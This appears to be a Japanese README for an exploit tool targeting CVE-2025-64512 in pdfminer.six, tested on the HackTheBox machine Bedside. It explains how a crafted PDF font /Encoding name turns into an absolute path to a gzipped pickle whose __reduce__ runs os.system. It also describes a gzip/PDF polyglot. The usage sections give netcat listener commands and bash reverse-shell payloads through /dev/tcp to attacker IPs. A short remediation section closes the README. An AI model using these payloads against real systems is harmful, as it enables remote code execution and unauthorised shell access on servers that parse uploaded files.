CVE-2025-64512 — pdfminer.six RCE エクスプロイト

Python 3、標準ライブラリのみ（pip インストール不要）。認可されたセキュリティテストおよび CTF 専用 — 法律およびエンゲージメントの 交戦規則を遵守する責任はあなたにあります。

テスト済みターゲット: https://app.hackthebox.com/machines/Bedside

1. 脆弱性を平易に説明

pdfminer.six は PDF からテキストを抽出するための人気のある Python ライブラリです。PDF フォント には CMaps が必要です — これは文字コードを Unicode に変換するテーブルであり、pdfminer はそれらを自身のパッケージ内に gzip 圧縮された pickle（<name>.pickle.gz）として 同梱しています。 CMap がどのようにロードされるかを見てください（pdfminer/cmapdb.py、20251107 より前のすべてのバージョン）:

@classmethod
def _load_data(cls, name: str) -> Any:
    name = name.replace("\0", "")                  # 唯一のサニタイズ
    filename = "%s.pickle.gz" % name               # ← 攻撃者が `name` を制御
    cmap_paths = (
        os.environ.get("CMAP_PATH", "/usr/share/pdfminer/"),
        os.path.join(os.path.dirname(__file__), "cmap"),
    )
    for directory in cmap_paths:
        path = os.path.join(directory, filename)   # ← 絶対パス名はディレクトリを無視する！
        if os.path.exists(path):
            with gzip.open(path) as gzfile:
                return type(str(name), (), pickle.loads(gzfile.read()))   # ← 💥

3 つの欠陥が重なっています:

1. name は PDF 自体から来る。 Type0（CID）フォントの /Encoding エントリは PDF の 名前 であり、攻撃者が完全に制御できます。PDF の名前には生の / を含めることができないため、RFC 標準の 16 進エスケープで記述されます: 名前 /#2f#76#61#72#2f… は /var/… にデコードされます。
2. os.path.join の癖。 2 番目の引数が絶対パスの場合、最初の引数は 完全に無視されます。したがって /var/www/site/uploads/shell という名前を指定すると、pdfminer は 自身の CMap ディレクトリではなく /var/www/site/uploads/shell.pickle.gz — ディスク上の 任意の パス — を 参照します。
3. ファイルの内容に対する pickle.loads()。 pickle は「この関数を呼び出して 再構築せよ」という命令（__reduce__）を含むことができます。攻撃者のバイト列をデシリアライズする = pdfminer を呼び出した プロセス内で攻撃者のコードを実行することになります。

エクスプロイトの前提条件 — このバグは、方程式の両方の半分を提供する あらゆるアプリケーションで簡単に悪用できます:

• 既知の絶対パス に ファイルを配置する 方法（アップロードポータル。パスは 多くの場合エラーメッセージで漏洩します）、
• サーバーに あなたが制御する PDF を解析させる 方法（アップロード時、変換 エンドポイント経由、バックグラウンドのウォッチャー/cron 経由など）。

2. スクリプトの動作

1. gzip 圧縮された pickle を構築します: {"__reduce__": eval("__import__('os').system('<your command>')")}。
2. 唯一の内容が、/Encoding があなたの pickle の絶対パスを指す Type0 フォントを 使用するページである、最小限だが構造的に有効な PDF を構築します。
3. それを配信します:
   • --mode two （デフォルト） — <name>.pickle.gz をアップロードし、次に <name>.pdf をアップロードします。 ターゲットが PDF 拡張子を持つファイルのみを解析する場合 （例: uploads/*.pdf を glob するウォッチャー）はこれを使用してください。
   • --mode polyglot — 1 つ のファイル <name>.pickle.gz をアップロードします。これは 有効な gzip-pickle かつ 有効な PDF の 両方 です: PDF 全体が gzip ヘッダーの FCOMMENT フィールドに隠れています（RFC 1952 はコメントを許可します。%PDF- シグネチャは バイト 10 に位置し、xref オフセットはテーブルが有効なままになるよう事前にシフトされています）。 ターゲットが拡張子に関係なくアップロードされた任意のファイルを PDF として解析する場合 （markitdown スタイルのコンバーター）はこれを使用してください。
4. オプションでファイルが配置されたことを検証し（--verify）、ターゲットの 処理サイクルを待機し（--wait）、コマンドが実行される前に電話をかける （） を先頭に追加できます — これにより、メインチャネルが 失敗しても実行を証明できます。

3. インストール

インストールするものはありません — Python 3.10+（str | None 構文を使用）:

chmod +x cve_2025_64512.py

4. 使用方法

4.1 まずローカルでリハーサルする

サンプルペイロードを生成し、（脆弱な pdfminer がインポート可能であれば）ターゲットに触れる前に 自分の Python でそれらを実行してチェーンが機能することを証明します:

# セルフテストを脆弱な pdfminer のチェックアウト/ホイール（20251107 より前の任意のもの）に向ける
export PDFMINER_PATH=/path/to/pdfminer_package_dir
python3 cve_2025_64512.py --selftest

期待される出力は、2 ファイルトリガーとポリグロットの両方で SELFTEST PASS で終わります。 手動でテストすることもできます:

python3 cve_2025_64512.py --no-upload --path /tmp --name demo --command 'id > /tmp/pwned'
cp demo.pickle.gz demo-trigger.pdf /tmp/       # /tmp/demo.pickle.gz として配置
pdf2txt.py /tmp/demo-trigger.pdf                # 脆弱な pdfminer のみ
cat /tmp/pwned                                  # → あなたの uid

4.2 汎用アップロードポータル（Bedside スタイル）

# 1. コマンドのコールバックチャネル用のリスナーを起動
nc -lvnp 4444

# 2. エクスプロイトを実行 — アップロードディレクトリ自体を発見させる
python3 cve_2025_64512.py \
    --url http://research.target.htb/ \
    --leak-path \
    --verify /uploads \
    --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/YOUR_IP/4444 <&1'"

完全な引数リファレンス:

4.3 実例 — HTB Bedside

echo "10.129.x.x bedside.htb research.bedside.htb" | sudo tee -a /etc/hosts
nc -lvnp 4444 &                                   # リスナー

python3 cve_2025_64512.py \
    --url http://research.bedside.htb/ \
    --path /var/www/research.bedside.htb/uploads \
    --verify /uploads --wait 35 \
    --command "bash -c 'exec bash -i &>/dev/tcp/10.10.17.244/4444 <&1'"

# → pdfminer サービスユーザーとしてのシェル（Bedside では: datawrangler、コンテナ内）

5. トラブルシューティング

6. 修復（防御者向け）

• pdfminer.six ≥ 20251107 にアップグレードしてください。markitdown ≥ 0.1.4 / pdfplumber ≥ 0.11.8 にパッチを適用してください。
• パーサーがファイル内部のメタデータからパスを解決する場所に、攻撃者が書き込み可能なファイルを 決して配置しないでください。パーサーが読み取り専用のストレージからアップロードを提供してください。
• すべてのデシリアライザをコード実行として扱ってください: 信頼できないバイト列に対する pickle.loads、torch.load、 yaml.load はすべて同じバグクラスです。データ専用フォーマット （JSON、Safetensors、ONNX）を優先してください。
• X-Powered-By スタイルのヘッダーを無効にし、一般的なエラーを返してください — どちらも Bedside で 材料リストを漏洩させました。